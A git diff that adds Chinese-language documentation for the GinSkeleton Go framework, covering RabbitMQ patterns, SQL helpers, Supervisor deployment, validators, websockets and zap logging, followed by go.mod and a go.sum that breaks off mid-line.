(b)程序`cmd`目录创建相关功能分类、入口文件,调用相关的消费者程序,独立编译、启动。 +> (c)本项目骨架引入了`cobra`包,同样可以做到独立编译启动。 + +### 快速安装步骤(基于docker) +> 1.比较详细的安装的参考地址:http://note.youdao.com/noteshare?id=3d8850a96ed288a0ae5c5421206b0f4e&sub=62EAE38FE217410E8D70859A152BCF8F +> 2.安装rabbitMq可以理解为安装一个mysql,默认创建的账号可以理解为 root,可以直接操作rabbitmq. +> 3.为了项目更安全,可以登录后台地址(`http://IP:15672`),自行为项目创建虚拟主机(类似mysql的数据库)、账号,最后将账号允许的操作虚拟进行绑定即可. + +### RabbitMq常用的几种模式 +![全场景图](https://www.ginskeleton.com/images/rabbitmq.jpg) +#### 1.`hello_world`模式(最基本模式), 特点如下: +> 1 一个生产者(producer)、一个消费者(consumer)通过队列(queue)进行 **一对一** 的数据传输。 +> 2.使用非常简单,适合简单业务场景使用,相关的场景模型图: +> ![场景图](https://www.ginskeleton.com/images/helloworld.png) + +#### 2.`WorkQueue`模式(在消费者之间按照竞争力分配任务), 特点如下: +> 1 生产者(producer)、多个消费者(consumer)通过队列(queue)进行**一对多、多对多**的数据传输。 +> 2.生产者(producer)将消息发布到交换机(exchange)的某个队列(queue),多个消费者(consumer)其中只要有一个消费(取走)了消息,那么其他消费者(consumer)将不会重复获得。 +> 3.消费者支持设置更多的参数,使配置强的消费者可以多处理消息,配置低的可以少处理消息,做到尽其所能,资源最大化利用。 +> ![场景图](https://www.ginskeleton.com/images/workqueue.png) + +#### 3.`publish/subscribe`模式(同时向许多消费者发送消息), 特点如下: +> 1 生产者(producer)、多个消费者(consumer)通过队列(queue)进行**一对多、多对多**的数据传输。 +> 2.生产者(producer)将消息发布到交换机(exchange)的某个队列(queue),多个消费者(consumer)处理消息。 +> 3.该模式也叫作广播(broadcast)、扇形(fanout)、发布/订阅模式,消费者(consumer)可以通过配置,接收来自生产者(consumer)发送的全部消息;或者每种消费者只接收指定队列的消息,将生产者发送的消息进行分类(按照不同的队列)处理。 +> ![场景图](https://www.ginskeleton.com/images/fanout.png) + +#### 4.`routing`模式(有选择性地接收消息), 特点如下: +> 1 生产者(producer)、多个消费者(consumer)通过队列(queue)进行**一对多、多对多**的数据传输。 +> 2.生产者(producer)将消息发布到交换机(exchange)已经绑定好路由键的某个队列(queue),多个消费者(consumer)可以通过绑定的路由键获取消息、处理消息。 +> 3.该模式下,消息的分类应该应该明确、种类数量不是非常多,那么就可以指定路由键(key)、绑定的到交换器的队列实现消息精准投递。 +> ![场景图](https://www.ginskeleton.com/images/routing.png) + +#### 5.`topics`模式(基于主题接收消息), 特点如下: +> 1 该模式就是`routing`模式的加强版,由原来的路由键精确匹配模式升级现在的模糊匹配模式。 +> 2.语法层面主要表现为灵活的匹配规则: +> 2.1 # 表示匹配一个或多个任意字符; +> 2.2 *表示匹配一个字符; +> 2.3 .(点)本身无实际意义,不表示任何匹配规则,主要用于将关键词分隔开,它的左边或右边可以写匹配规则,例如:abc.# 表示匹配abc张三、abc你好等;#.abc.# 表示匹配路由键中含有abc的字符; +> 3.注意:匹配语法中如果没有 .(点),那么匹配规则是无效的,例如:orange#,可能本意是匹配orange任意字符,实际上除了匹配 orange#本身之外,什么也匹配不到。 +> ![场景图](https://www.ginskeleton.com/images/topics.png) + +#### 6.`RPC`模式(请求、回复), 特点如下: +> 1 严格地说,该模式和消息队列没有什么关系,通常是微服务场景才会使用远程过程调用(RPC),本功能建议自行学习或者选择专业的微服务框架使用,解决实际问题,本文档不做介绍。 +> ![场景图](https://www.ginskeleton.com/images/rpc.png) + +### RabbitMq快速使用指南 +> 1.建议使用docker 快速安装使用即可,安装步骤请自行搜索。 +> 2.详细使用指南参见单元测试demo代: [rabbitmq全量单元测试](../test/rabbitmq_test.go) +> 3.六种场景模型我们封装了统一的使用规范。 + +#### 1.hello_world、work_queue、publish_subscribe 场景模型使用: +> 相关配置参见:config/config.yaml, rbbitmq 部分 +##### 1.1 启动一个消费者,通过回调函数在阻塞模式进行消息处理 +```go +consumer, err := HelloWorld.CreateConsumer() + if err != nil { + fmt.Printf("HelloWorld单元测试未通过。%s\n", err.Error()) + os.Exit(1) + } + + // 连接关闭的回调,主要是记录错误,进行后续更进一步处理,不要尝试在这里编写重连逻辑 + // 本项目已经封装了完善的消费者端重连逻辑,触发这里的代码说明重连已经超过了最大重试次数 + consumer.OnConnectionError(func(err *amqp.Error) { + log.Fatal(MyErrors.ErrorsRabbitMqReconnectFail + "\n" + err.Error()) + }) + + // 进入阻塞状态,处理消息 + consumer.Received(func(received_data string) { + fmt.Printf("HelloWorld回调函数处理消息:--->%s\n", received_data) + }) +``` +##### 1.2 调用生产者投递一个或者多个消息,投递通常都是一次性的。 +```go + // 这里创建场景模型的时候通过不同的模型名称创建即可,主要有:hello_world、work_queue、publish_subscribe + hello_producer, _ := hello_world.CreateProducer() + var res bool + for i := 0; i < 10; i++ { + str := fmt.Sprintf("%d_hello_world开始发送消息测试", (i + 1)) + res = hello_producer.Send(str) + //time.Sleep(time.Second * 1) + } + + hello_producer.Close() // 消息投递结束,必须关闭连接 + // 简单判断一下最后一次发送结果 + if res { + fmt.Printf("消息发送OK") + } else { + fmt.Printf("消息发送 失败") + } + +``` + +#### 2.routing、topics 场景模型使用: +> `routing`模式属于路由键的严格匹配模式。 +> `topics`模式比`routing`模式更灵活,两者使用、功能几乎完全一致。该模式完全可以代替`routing`模式,因此这里仅介绍 `topics`模式。 +> 注意:生产者设置键的规则必须是:关键词A.关键词B.关键词C等,即关键词之间必须使用.(点)隔开,消费者端只需要将.(点)左边或右边的关键词使用#代替即可。 + +##### 2.1 启动多个消费者,处于阻塞模式进行消息接受、处理。 +```go + // 启动第一个消费者,这里使用协程的目的主要是保证第一个启动后不阻塞,否则就会导致第二个消费者无法启动 + go func(){ + consumer, err := Topics.CreateConsumer() + + if err != nil { + t.Errorf("Routing单元测试未通过。%s\n", err.Error()) + os.Exit(1) + } + + // 连接关闭的回调,主要是记录错误,进行后续更进一步处理,不要尝试在这里编写重连逻辑 + // 本项目已经封装了完善的消费者端重连逻辑,触发这里的代码说明重连已经超过了最大重试次数 + consumer.OnConnectionError(func(err *amqp.Error) { + log.Fatal(MyErrors.ErrorsRabbitMqReconnectFail + "\n" + err.Error()) + }) + + // 通过route_key 模糊匹配队列路由键的消息来处理 + consumer.Received("#.even", func(received_data string) { + fmt.Printf("模糊匹配偶数键:--->%s\n", received_data) + }) + }() + + // 启动第二个消费者,这里没有使用协程,在消息处理环节程序就会阻塞等待,处理消息 + consumer, err := Topics.CreateConsumer() + + if err != nil { + t.Errorf("Routing单元测试未通过。%s\n", err.Error()) + os.Exit(1) + } + + consumer.OnConnectionError(func(err *amqp.Error) { + // 连接关闭的回调,主要是记录错误,进行后续更进一步处理,不要尝试在这里编写重连逻辑 + // 本项目已经封装了完善的消费者端重连逻辑,触发这里的代码说明重连已经超过了最大重试次数 + log.Fatal(MyErrors.ErrorsRabbitMqReconnectFail + "\n" + err.Error()) + }) + + // 通过route_key 模糊匹配队列路由键的消息来处理 + consumer.Received("#.odd", func(received_data string) { + + fmt.Printf("模糊匹配奇数键:--->%s\n", received_data) + }) + +``` + +##### 2.2 调用生产者投递一个或者多个消息 +```go + + producer, _ := Topics.CreateProducer() + var res bool + var key string + for i := 1; i <= 10; i++ { + + // 将 偶数 和 奇数 分发到不同的key,消费者端,启动两个也各自处理偶数和奇数 + if i%2 == 0 { + key = "key.even" // 偶数键 + } else { + key = "key.odd" // 奇数键 + } + str_data := fmt.Sprintf("%d_Routing_%s, 开始发送消息测试", i, key) + res = producer.Send(key, str_data) + //time.Sleep(time.Second * 1) + } + + producer.Close() // 消息投递结束,必须关闭连接 + + // 简单判断一下最后一次发送结果 + if res { + fmt.Printf("消息发送OK") + } else { + fmt.Printf("消息发送 失败") + } + //Output: 消息发送OK + +``` \ No newline at end of file diff --git a/GinSkeleton/docs/sql_stament.md b/GinSkeleton/docs/sql_stament.md new file mode 100644 index 0000000..de6447e --- /dev/null +++ b/GinSkeleton/docs/sql_stament.md @@ -0,0 +1,50 @@ +### Sql操作命令集合 +>本文档主要介绍了sql操作的核心命令,详细操作命令示例代码参见 [mysql示例文档](../app/model/test.go). [sqlserver测试用例](../test/db_sqlserver_test.go) , [postgreSql测试用例](../test/db_postgresql_test.go) 操作方式同 mysql . + +#### 1.查询类: 不会修改数据的sql、存储过程、视图 +```sql + // 首先获取一个数据连接 + sqlservConn := sql_factory.GetOneSqlClient("postgre") // 参数为空,默认就是mysql驱动,您还可以传递 sqlserver 、 postgresql 参数获取对应数据库的一个连接. + #1.多条查询: + sqlservConn.QuerySql + #2.单条查询: + sqlservConn.QueryRow +``` + +#### 2.执行类: 会修改数据的sql、存储过程等 +```sql + #1.执行命令,主要有 insert 、 updated 、 delete + sqlservConn.ExecuteSql +``` + +#### 3.预处理类:如果场景需要批量插入很多条数据,那么就需要独立调用预编译 +> 1.如果你的sql语句需要循环插入1万、5万、10万+数据。 +> 2.那么可能会报错: Error 1461: Can't create more than max_prepared_stmt_count statements (current value: 16382) +> 3.此时需要以下解决方案 +```sql + #1.预编译,预处理类之后,执行批量语句 + sqlservConn.PrepareSql + #2.(多条)执行类 + sqlservConn.ExecuteSqlForMultiple + #3.(多条)查询类 + sqlservConn.QuerySqlForMultiple +``` + +#### 4.事务类操作 +```sql + #1.开启一个事务 + tx:=sqlservConn.BeginTx() + + #2.预编译sql + tx.Prepare + + #3.执行sql + tx.Exec + + #4.提交 + tx.Commit + + #5.回滚 + tx.Rollback +``` + \ No newline at end of file diff --git a/GinSkeleton/docs/supervisor.md b/GinSkeleton/docs/supervisor.md new file mode 100644 index 0000000..238230a --- /dev/null +++ b/GinSkeleton/docs/supervisor.md @@ -0,0 +1,77 @@ +### Supervisor 部署 + +`Supervisor` 是 `Linux/Unix` 系统下的一个进程管理工具,可靠稳定,很多著名框架的进程守护都推荐使用该软件。 + +#### 安装 Supervisor +> 这里仅举例 `CentOS` 系统下的安装方式: + +```bash +# 安装 epel 源,如果此前安装过,此步骤跳过 +yum install -y epel-release +yum install -y supervisor // 【ubutu】apt-get install supervisor +``` + +#### 创建一个配置文件 +```bash +cp /etc/supervisord.conf /etc/supervisord.d/supervisord.conf + +#编辑刚才新复制的配置文件 +vim /etc/supervisord.d/supervisord.conf + +# 在[include]节点前添加以下内容,保存 + +[program:GoSkeleton] +# 设置命令在指定的目录内执行 +directory=/home/wwwroot/GoProject2020/goskeleton/ +#例如,我们编译完以后的go程序名为:main +command= /bin/bash -c ./main +user=root +# supervisor 启动时自动该应用 +autostart=true +# 进程退出后自动重启进程 +autorestart=true +# 进程持续运行多久才认为是启动成功 +startsecs = 5 +# 启动重试次数 +startretries = 3 +#指定日志目录(将原来在调试输出界面的内容统一写到指定文件) +stdout_logfile=/home/wwwroot/GoProject2020/Storage/logs/out.log +stderr_logfile=/home/wwwroot/GoProject2020/Storage/logs/err.log + +``` + + + +#### 配置 `Supervisor` 可视化管理界面 +> 1.编辑配置文件 /etc/supervisord.d/supervisord.conf ,将以下注释打开即可。 +```ini +[inet_http_server] +port=0.0.0.0:9001 +#设置可视化管理账号 +username=user_name +#设置可视化管理密码 +password=user_pass +``` + + +#### 启动 Supervisor +```jsunicoderegexp +supervisord -c /etc/supervisord.d/supervisord.conf +``` + +#### 使用 supervisorctl 命令管理项目 +> 此时你也可以通过浏览器打开 `ip:9001` 地址,输入账号、密码对应用程序进行可视化管理。 +```bash +# 启动 Goskeleton 应用 +supervisorctl start Goskeleton +# 重启 GoSkeleton 应用 +supervisorctl restart Goskeleton +# 停止 GoSkeleton 应用 +supervisorctl stop Goskeleton +# 查看所有被管理项目运行状态 +supervisorctl status +# 重新加载配置文件,一般是增加了新的项目节点,执行此命令即可使新项目运行起来而不影响老项目 +supervisorctl update +# 重新启动所有程序 +supervisorctl reload +``` diff --git a/GinSkeleton/docs/validator.md b/GinSkeleton/docs/validator.md new file mode 100644 index 0000000..43fb671 --- /dev/null +++ b/GinSkeleton/docs/validator.md @@ -0,0 +1,58 @@ +### validator 表单参数验证器语法介绍 +> 1.本篇将选取表单参数验证器( `https://github.com/go-playground/validator` )主要语法进行介绍,方便本项目骨架使用者快速上手. +> 2.更详细的语法参与参见官方文档:`https://godoc.org/github.com/go-playground/validator` + +#### 1.我们以用户注册代码块为例进行介绍. +> 1.[用户注册代码详情](../app/http/validator/web/users/register.go), 摘取表单参数验证部分. +> 2.以下语法虽然看似简单,实际上已经覆盖了绝大部分常用场景的需求. +```code +// 给出一些最常用的验证规则: +//required 必填; +//len=11 长度=11; +//min=3 如果是数字,验证的是数据大小范围,最小值为3,如果是文本,验证的是最小长度为3, +//max=6 如果是数字,验证的是数字最大值为6,如果是文本,验证的是最大长度为6 +//mail 验证邮箱 +//gt=3 对于文本就是长度>=3 +//lt=6 对于文本就是长度<=6 + + +type Register struct { + // 必填、文本类型,表示它的长度>=1 + UserName string `form:"user_name" json:"user_name" binding:"required,min=1"` + + //必填,密码长度范围:【6,20】闭区间 + Pass string `form:"pass" json:"pass" binding:"required,min=6,max=20"` + + // 验证码,必填,长度等于:4 + //Captcha string `form:"captcha" json:"captcha" binding:"required,len=4"` + + // 年龄,必填,数字类型,大小范围【1,200】闭区间 + //Age float64 `form:"age" json:"age" binding:"required,min=1,max=200"` + + // 状态:必填,数字类型,大小范围:【0,1】 闭区间 , + // 注意: 如果你的表单参数含有0值是允许提交的,必须用指针类型(*float64),而 float64 类型则认为 0 值不合格 + Status *float64 `form:"status" json:"status" binding:"required,min=0,max=1"` +} + +// 注意:这里的接收器 r,必须是 r Register, 绝对不能是 r *Register +// 因为在 ginskeleton 里面表单参数验证器是注册在容器的代码段, +// 如果是指针,带参数的接口请求,就会把容器的原始代码污染。 +func (r Register) CheckParams(context *gin.Context) { + // context.ShouldBind(&r) 则自动绑定 form-data 提交的表单参数 + if err := context.ShouldBind(&r); err != nil { + + // 省略非验证器逻辑代码.... + // ... ... + + } + + // 如果您的客户端的数据是以json格式提交(popstman中的raw格式),那么就用如下语法 + // context.ShouldBindJson(&r) 则自动绑定 json格式提交的参数 + +} + +``` + +#### 2.以上语法特别说明. +> 1.对于数字类型(int8、int、int64、float32、float64等)我们统一使用 float64、*float64 接受. +> 2.如果您的业务要求数字格式为 int类型,那么使用 int() 等数据类型转换函数自行转换即可. diff --git a/GinSkeleton/docs/websocket.md b/GinSkeleton/docs/websocket.md new file mode 100644 index 0000000..f983e1e --- /dev/null +++ b/GinSkeleton/docs/websocket.md @@ -0,0 +1,109 @@ +### websocket + +##### 1.基本用法 +> 以下代码展示的是每一个 websocket 客户端连接到服务端所拥有的功能 +- [相关代码位置](../app/service/websocket/ws.go) +```code +package websocket + +import ( + "fmt" + "github.com/gin-gonic/gin" + "github.com/gorilla/websocket" + "go.uber.org/zap" + "goskeleton/app/global/my_errors" + "goskeleton/app/global/variable" + "goskeleton/app/utils/websocket/core" +) + +/** +websocket模块相关事件执行顺序: +1.onOpen +2.OnMessage +3.OnError +4.OnClose +*/ + +type Ws struct { + WsClient *core.Client +} + +// onOpen 基本不需要做什么 +func (w *Ws) OnOpen(context *gin.Context) (*Ws, bool) { + if client, ok := (&core.Client{}).OnOpen(context); ok { + w.WsClient = client + go w.WsClient.Heartbeat() // 一旦握手+协议升级成功,就为每一个连接开启一个自动化的隐式心跳检测包 + return w, true + } else { + return nil, false + } +} + +// OnMessage 处理业务消息 +func (w *Ws) OnMessage(context *gin.Context) { + go w.WsClient.ReadPump(func(messageType int, receivedData []byte) { + //参数说明 + //messageType 消息类型,1=文本 + //receivedData 服务器接收到客户端(例如js客户端)发来的的数据,[]byte 格式 + + tempMsg := "服务器已经收到了你的消息==>" + string(receivedData) + // 回复客户端已经收到消息; + if err := w.WsClient.SendMessage(messageType, tempMsg); err != nil { + variable.ZapLog.Error("消息发送出现错误", zap.Error(err)) + } + + }, w.OnError, w.OnClose) +} + +// OnError 客户端与服务端在消息交互过程中发生错误回调函数 +func (w *Ws) OnError(err error) { + w.WsClient.State = 0 // 发生错误,状态设置为0, 心跳检测协程则自动退出 + variable.ZapLog.Error("远端掉线、卡死、刷新浏览器等会触发该错误:", zap.Error(err)) + //fmt.Printf("远端掉线、卡死、刷新浏览器等会触发该错误: %v\n", err.Error()) +} + +// OnClose 客户端关闭回调,发生onError回调以后会继续回调该函数 +func (w *Ws) OnClose() { + + w.WsClient.Hub.UnRegister <- w.WsClient // 向hub管道投递一条注销消息,由hub中心负责关闭连接、删除在线数据 +} + +//获取在线的全部客户端 +func (w *Ws) GetOnlineClients() { + + fmt.Printf("在线客户端数量:%d\n", len(w.WsClient.Hub.Clients)) +} + +// (每一个客户端都有能力)向全部在线客户端广播消息 +func (w *Ws) BroadcastMsg(sendMsg string) { + for onlineClient := range w.WsClient.Hub.Clients { + + //获取每一个在线的客户端,向远端发送消息 + if err := onlineClient.SendMessage(websocket.TextMessage, sendMsg); err != nil { + variable.ZapLog.Error(my_errors.ErrorsWebsocketWriteMgsFail, zap.Error(err)) + } + } +} + + +``` + + +##### 2.在本项目骨架任意位置,向所有在线的 websocet 客户端广播消息 +> 核心原理:每一个 websocket 客户端都有一个 Hub 结构体,而这个结构体是本项目骨架设置的全局值,因此在任意位置创建一个 websocket 客户端,只要将 Hub 值赋予全局初始化的:variable.WebsocketHub,就可以在任意位置进行广播消息. +```code +package demo1 + +import ( + serviceWs "goskeleton/app/service/websocket" +) + +// 省略其他无关代码,相关的核心代码如下 + +if WsHub, ok := variable.WebsocketHub.(*core.Hub); ok { + // serviceWs 为 app/service/websocket 的别名 + ws := serviceWs.Ws{WsClient: &core.Client{Hub: WsHub}} + ws.BroadcastMsg("本项目骨架任意位置,使用本段代码对在线的 ws 客户端广播消息") +} + +``` \ No newline at end of file diff --git a/GinSkeleton/docs/ws_js_client.md b/GinSkeleton/docs/ws_js_client.md new file mode 100644 index 0000000..83c09a1 --- /dev/null +++ b/GinSkeleton/docs/ws_js_client.md @@ -0,0 +1,79 @@ +## websocket js 客户端 + +### 前言 +> ws地址: ws://127.0.0.1:20201/admin/ws?token=sdsdsdsdsdsdsdsdsdsdsdsdssdsd +> 由于中间模拟校验了token参数,请自行随意提交超过20个字符 +> 以下代码保存为 `ws.html` 在浏览器直接访问即可连接服务端 +> ws服务默认未开启,请自行在配置文件 config/config.yml ,找到 websocket 选项,开启即可. +```html + + + + + + websocket client +   + + + + +
+ +

websocket client 测试代码

+ +
+ + +
+ +
+ + + + + + +
+ + + + + +``` \ No newline at end of file diff --git a/GinSkeleton/docs/zap_log.md b/GinSkeleton/docs/zap_log.md new file mode 100644 index 0000000..d07a19b --- /dev/null +++ b/GinSkeleton/docs/zap_log.md @@ -0,0 +1,82 @@ +### 日志功能, 基于 zap + lumberjack 实现 +> 1.特点:高性能、极速,功能:实现日志的标准管理、日志文件的自动分隔备份. +> 2.该日志在项目骨架启动时我们封装了全局变量(variable.ZapLog),直接调用即可,底层按照官方标准封装,使用者调用后不需要关闭日志,也不需要担心全局变量写日志存在并发冲突问题,底层会自动加锁后再写。 +> 3.相关包 github 地址:https://github.com/uber-go/zap 、 https://github.com/natefinch/lumberjack + + +### 前言 +> 1.日志相关的配置参见,config目录内的config.yml文件,Logs 部分,程序默认处于`AppDebug|调试模式`,日志输出在console面板,编译时记得切换模式。 +> 2.本文档列举几种最常用的用法, 想要深度学习请参考相关的 github 地址. + +### 日志处理, 标准函数 +> 参数一:文本型 +> 参数二:可变参数,可传递0个或者多个 Field 类型参数,Field 类型传递规则参见下文 +```code +> 1. Debug(参数一, 参数二) , 调试级别,会产生大量日志,只在开发模式(AppDebug=true)会输出日志打印在console面板,生产模式该函数禁用。 +> 2. Info(参数一, 参数二) , 一般信息,默认级别。 +> 3. Warn(参数一, 参数二) , 警告 +> 4. Panic(参数一, 参数二)、Dpanic(参数一, 参数二) , 恐慌、宕机,不建议使用 +> 5. Error(参数一, 参数二) , 错误 +> 6. Fatal(参数一, 参数二) , 致命错误,会导致程序进程退出。 +``` + +### 标准函数的参数二 Field 类型,最常用传递方式 +> 1.Int 类型 : zap.Int("userID",2019) , 同类的还有 int16 、 int32等 +> 2.String 类型 : zap.String("userID","2019") +> 3.Error 类型 : zap.Error(v_err) , v_err 为 error(错误类型),例如使用 v_err:= error.New("模拟一个错误") +> 4.Bool 类型 : zap.Bool("is_ok",true) + + +#### 用法 1 , 高性能模式 . +> 1.举例展示最常用用法 +```code + variable.ZapLog.Info("基本的运行提示类信息") + variable.ZapLog.Warn("UserCreate接口参数非法警告,相关参数:",zap.String("userName","demo_name"),zap.Int("userAge",18)) + variable.ZapLog.Panic("UserDestory接口参数异常,相关参数:",zap.String("userName","demo_name"),zap.String("password","pass123456") + variable.ZapLog.Error("UserDestory接口参数错误,相关参数:",zap.Error(error)) + variable.ZapLog.Fatal("Mysql初始化参数错误,退出运行。相关参数:",zap.String("name","root"), zap.Int("端口",3306)) + +``` + +#### 用法2 , 语法糖模式 . +> 1.比第一种用法性能稍低,只不过基于第一种用法,相关的函数全部增加了格式化参数功能 +```code + # 第一种的函数后面全部添加了一个 w ,相关的函数功能和第一种一模一样 + variable.ZapLog.Sugar().Infow("基本的运行提示类信息",zap.String("name","root")) + +# 格式化参数,第一种用法中的函数后面添加了一个 f + variable.ZapLog.Sugar().Infof("参数 userId %d\n",2020) + + variable.ZapLog.Sugar().Errorw("程序发生错误",zap.Error(error)) + variable.ZapLog.Sugar().Errorf("参数非法,程序出错,userId %d\n",2020) + + Warn 、 Panic 、Fatal用法类似 + +``` + +#### 日志钩子 +> 1.除了本项目骨架记录日志之外,您还可以对日志进行二次加工处理. +> 2.日志钩子函数处理位置 > `app/service/sys_log_hook/zap_log_hooks.go` +> 3.`bootStrap/init.go` 中你可以修改钩子函数的位置 +> 相关代码位置 `app/service/sys_log_hook/zap_log_hooks.go ` +```code +func ZapLogHandler(entry zapcore.Entry) error { + + // 参数 entry 介绍 + // entry 参数就是单条日志结构体,主要包括字段如下: + //Level 日志等级 + //Time 当前时间 + //LoggerName 日志名称 + //Message 日志内容 + //Caller 各个文件调用路径 + //Stack 代码调用栈 + + //这里启动一个协程,hook丝毫不会影响程序性能, + go func(paramEntry zapcore.Entry) { + //fmt.Println(" GoSkeleton hook ....,你可以在这里继续处理系统日志....") + //fmt.Printf("%#+v\n", paramEntry) + }(entry) + return nil +} + +``` \ No newline at end of file diff --git a/GinSkeleton/go.mod b/GinSkeleton/go.mod new file mode 100644 index 0000000..27a4e97 --- /dev/null +++ b/GinSkeleton/go.mod @@ -0,0 +1,96 @@ +module goskeleton + +go 1.20 + +require ( + github.com/baidubce/bce-qianfan-sdk/go/qianfan v0.0.12 + github.com/casbin/casbin/v2 v2.98.0 + github.com/casbin/gorm-adapter/v3 v3.26.0 + github.com/dchest/captcha v1.0.0 + github.com/dgrijalva/jwt-go v3.2.1-0.20210802184156-9742bd7fca1c+incompatible + github.com/fsnotify/fsnotify v1.7.0 + github.com/gin-contrib/pprof v1.5.0 + github.com/gin-gonic/gin v1.10.0 + github.com/go-playground/locales v0.14.1 + github.com/go-playground/universal-translator v0.18.1 + github.com/go-playground/validator/v10 v10.22.0 + github.com/gomodule/redigo v1.9.2 + github.com/gorilla/websocket v1.5.3 + github.com/natefinch/lumberjack v2.0.0+incompatible + github.com/qifengzhang007/goCurl v1.4.0 + github.com/rabbitmq/amqp091-go v1.10.0 + github.com/spf13/cobra v1.8.1 + github.com/spf13/viper v1.18.2 + go.uber.org/zap v1.27.0 + gorm.io/driver/mysql v1.5.7 + gorm.io/driver/postgres v1.5.9 + gorm.io/driver/sqlserver v1.5.3 + gorm.io/gorm v1.25.11 + gorm.io/plugin/dbresolver v1.5.2 +) + +require ( + github.com/BurntSushi/toml v1.4.0 // indirect + github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394 // indirect + github.com/baidubce/bce-sdk-go v0.9.164 // indirect + github.com/bytedance/sonic v1.11.6 // indirect + github.com/bytedance/sonic/loader v0.1.1 // indirect + github.com/casbin/govaluate v1.2.0 // indirect + github.com/cloudwego/base64x v0.1.4 // indirect + github.com/cloudwego/iasm v0.2.0 // indirect + github.com/dustin/go-humanize v1.0.1 // indirect + github.com/gabriel-vasile/mimetype v1.4.3 // indirect + github.com/gin-contrib/sse v0.1.0 // indirect + github.com/glebarez/go-sqlite v1.20.3 // indirect + github.com/glebarez/sqlite v1.7.0 // indirect + github.com/go-sql-driver/mysql v1.7.0 // indirect + github.com/goccy/go-json v0.10.2 // indirect + github.com/golang-sql/civil v0.0.0-20220223132316-b832511892a9 // indirect + github.com/golang-sql/sqlexp v0.1.0 // indirect + github.com/google/uuid v1.4.0 // indirect + github.com/hashicorp/hcl v1.0.0 // indirect + github.com/inconshreveable/mousetrap v1.1.0 // indirect + github.com/jackc/pgpassfile v1.0.0 // indirect + github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a // indirect + github.com/jackc/pgx/v5 v5.5.5 // indirect + github.com/jackc/puddle/v2 v2.2.1 // indirect + github.com/jinzhu/inflection v1.0.0 // indirect + github.com/jinzhu/now v1.1.5 // indirect + github.com/json-iterator/go v1.1.12 // indirect + github.com/klauspost/cpuid/v2 v2.2.7 // indirect + github.com/leodido/go-urn v1.4.0 // indirect + github.com/magiconair/properties v1.8.7 // indirect + github.com/mattn/go-isatty v0.0.20 // indirect + github.com/microsoft/go-mssqldb v1.6.0 // indirect + github.com/mitchellh/mapstructure v1.5.0 // indirect + github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect + github.com/modern-go/reflect2 v1.0.2 // indirect + github.com/pelletier/go-toml/v2 v2.2.2 // indirect + github.com/remyoudompheng/bigfft v0.0.0-20230126093431-47fa9a501578 // indirect + github.com/sagikazarmark/locafero v0.4.0 // indirect + github.com/sagikazarmark/slog-shim v0.1.0 // indirect + github.com/sirupsen/logrus v1.9.3 // indirect + github.com/sourcegraph/conc v0.3.0 // indirect + github.com/spf13/afero v1.11.0 // indirect + github.com/spf13/cast v1.6.0 // indirect + github.com/spf13/pflag v1.0.5 // indirect + github.com/subosito/gotenv v1.6.0 // indirect + github.com/twitchyliquid64/golang-asm v0.15.1 // indirect + github.com/ugorji/go/codec v1.2.12 // indirect + go.uber.org/multierr v1.10.0 // indirect + golang.org/x/arch v0.8.0 // indirect + golang.org/x/crypto v0.23.0 // indirect + golang.org/x/exp v0.0.0-20230905200255-921286631fa9 // indirect + golang.org/x/net v0.25.0 // indirect + golang.org/x/sync v0.5.0 // indirect + golang.org/x/sys v0.20.0 // indirect + golang.org/x/text v0.15.0 // indirect + google.golang.org/protobuf v1.34.1 // indirect + gopkg.in/ini.v1 v1.67.0 // indirect + gopkg.in/natefinch/lumberjack.v2 v2.2.1 // indirect + gopkg.in/yaml.v3 v3.0.1 // indirect + modernc.org/libc v1.22.2 // indirect + modernc.org/mathutil v1.5.0 // indirect + modernc.org/memory v1.5.0 // indirect + modernc.org/sqlite v1.20.3 // indirect +) diff --git a/GinSkeleton/go.sum b/GinSkeleton/go.sum new file mode 100644 index 0000000..6a867b7 --- /dev/null +++ b/GinSkeleton/go.sum @@ -0,0 +1,323 @@ +github.com/Azure/azure-sdk-for-go/sdk/azcore v1.4.0/go.mod h1:ON4tFdPTwRcgWEaVDrN3584Ef+b7GgSJaXxe5fW9t4M= +github.com/Azure/azure-sdk-for-go/sdk/azcore v1.6.0/go.mod h1:bjGvMhVMb+EEm3VRNQawDMUyMMjo+S5ewNjflkep/0Q= +github.com/Azure/azure-sdk-for-go/sdk/azcore v1.6.1/go.mod h1:bjGvMhVMb+EEm3VRNQawDMUyMMjo+S5ewNjflkep/0Q= +github.com/Azure/azure-sdk-for-go/sdk/azcore v1.7.1 h1:/iHxaJhsFr0+xVFfbMr5vxz848jyiWuIEDhYq3y5odY= +github.com/Azure/azure-sdk-for-go/sdk/azcore v1.7.1/go.mod h1:bjGvMhVMb+EEm3VRNQawDMUyMMjo+S5ewNjflkep/0Q= +github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.3.0 h1:vcYCAze6p19qBW7MhZybIsqD8sMV8js0NyQM8JDnVtg= +github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.3.0/go.mod h1:OQeznEEkTZ9OrhHJoDD8ZDq51FHgXjqtP9z6bEwBq9U= +github.com/Azure/azure-sdk-for-go/sdk/internal v1.1.2/go.mod h1:eWRD7oawr1Mu1sLCawqVc0CUiF43ia3qQMxLscsKQ9w= +github.com/Azure/azure-sdk-for-go/sdk/internal v1.2.0/go.mod h1:eWRD7oawr1Mu1sLCawqVc0CUiF43ia3qQMxLscsKQ9w= +github.com/Azure/azure-sdk-for-go/sdk/internal v1.3.0 h1:sXr+ck84g/ZlZUOZiNELInmMgOsuGwdjjVkEIde0OtY= +github.com/Azure/azure-sdk-for-go/sdk/internal v1.3.0/go.mod h1:okt5dMMTOFjX/aovMlrjvvXoPMBVSPzk9185BT0+eZM= +github.com/Azure/azure-sdk-for-go/sdk/security/keyvault/azkeys v1.0.0 h1:yfJe15aSwEQ6Oo6J+gdfdulPNoZ3TEhmbhLIoxZcA+U= +github.com/Azure/azure-sdk-for-go/sdk/security/keyvault/azkeys v1.0.0/go.mod h1:Q28U+75mpCaSCDowNEmhIo/rmgdkqmkmzI7N6TGR4UY= +github.com/Azure/azure-sdk-for-go/sdk/security/keyvault/internal v0.8.0 h1:T028gtTPiYt/RMUfs8nVsAL7FDQrfLlrm/NnRG/zcC4= +github.com/Azure/azure-sdk-for-go/sdk/security/keyvault/internal v0.8.0/go.mod h1:cw4zVQgBby0Z5f2v0itn6se2dDP17nTjbZFXW5uPyHA= +github.com/AzureAD/microsoft-authentication-library-for-go v1.0.0/go.mod 